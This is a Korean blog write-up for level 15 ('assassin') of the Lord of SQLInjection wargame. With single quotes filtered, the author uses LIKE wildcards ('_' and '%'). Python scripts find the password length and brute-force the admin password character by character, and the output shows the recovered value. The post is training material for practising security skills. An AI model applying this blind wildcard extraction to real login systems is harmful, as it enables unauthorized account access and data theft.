반응형
Lord of SQLInjection 15번 assassin
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
- 싱글쿼터가 필터링 되어 있다.
- pw 뒤에 like로 pw 길이를 확인할 수 있다.
like로 문자열을 비교할 때 _(underscore)는 모든 문자열을 뜻하기 때문에 underscore 수로 알 수 있다.
길이 구하는 파이썬 코드
import requests
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={"PHPSESSID":"세션값"}
pw=""
for i in range(0,10):
pay=f"?pw="+"_"*i
res=requests.get(url+pay,cookies=cookies)
if "Hello guest" in res.text:
print("length:",i)
length=i
break
--> length: 8
pw구하기
import requests
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies={"PHPSESSID":"세션값"}
pw=''
tmp=''
for i in range(1,9):
for j in range(48,123):
if j == 95: # _ 제외
continue
pay = '?pw=' + pw + chr(j) + '%'
#print(pay)
res=requests.get(url+pay,cookies=cookies)
if res.text.find("Hello admin") != -1:
pw+=chr(j)
print('Hello admin:',pw)
break
elif res.text.find("Hello guest") != -1:
tmp=chr(j)
pw+=tmp
print('Hello guest:',pw)
print('pw:',pw)
--->
Hello guest: 9 Hello guest: 90 Hello admin: 902 Hello admin: 902E Hello admin: 902EF Hello admin: 902EFD Hello admin: 902EFD1 Hello admin: 902EFD10 pw: 902EFD10 |
출력된 pw를 보면 두번째 글자 '90'까지는 guest와 admin의 pw가 같다.
그래서 url에 ?pw=90%를 입력해도 Hello guest가 나오는 것이다.
?pw=902%를 입력한 경우에 바로 Hello admin이 나오면서 문제는 해결이 된다.
반응형
'#WarGame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection 18번 nightmare (0) | 2021.09.18 |
---|---|
Lord of SQLInjection 16번 succubus (0) | 2021.09.17 |
Lord of SQLInjection 14번 giant (0) | 2021.09.16 |
Lord of SQLInjection 13번 bugbear (0) | 2021.08.10 |
Lord of SQLInjection 12번 darkknight (0) | 2021.08.10 |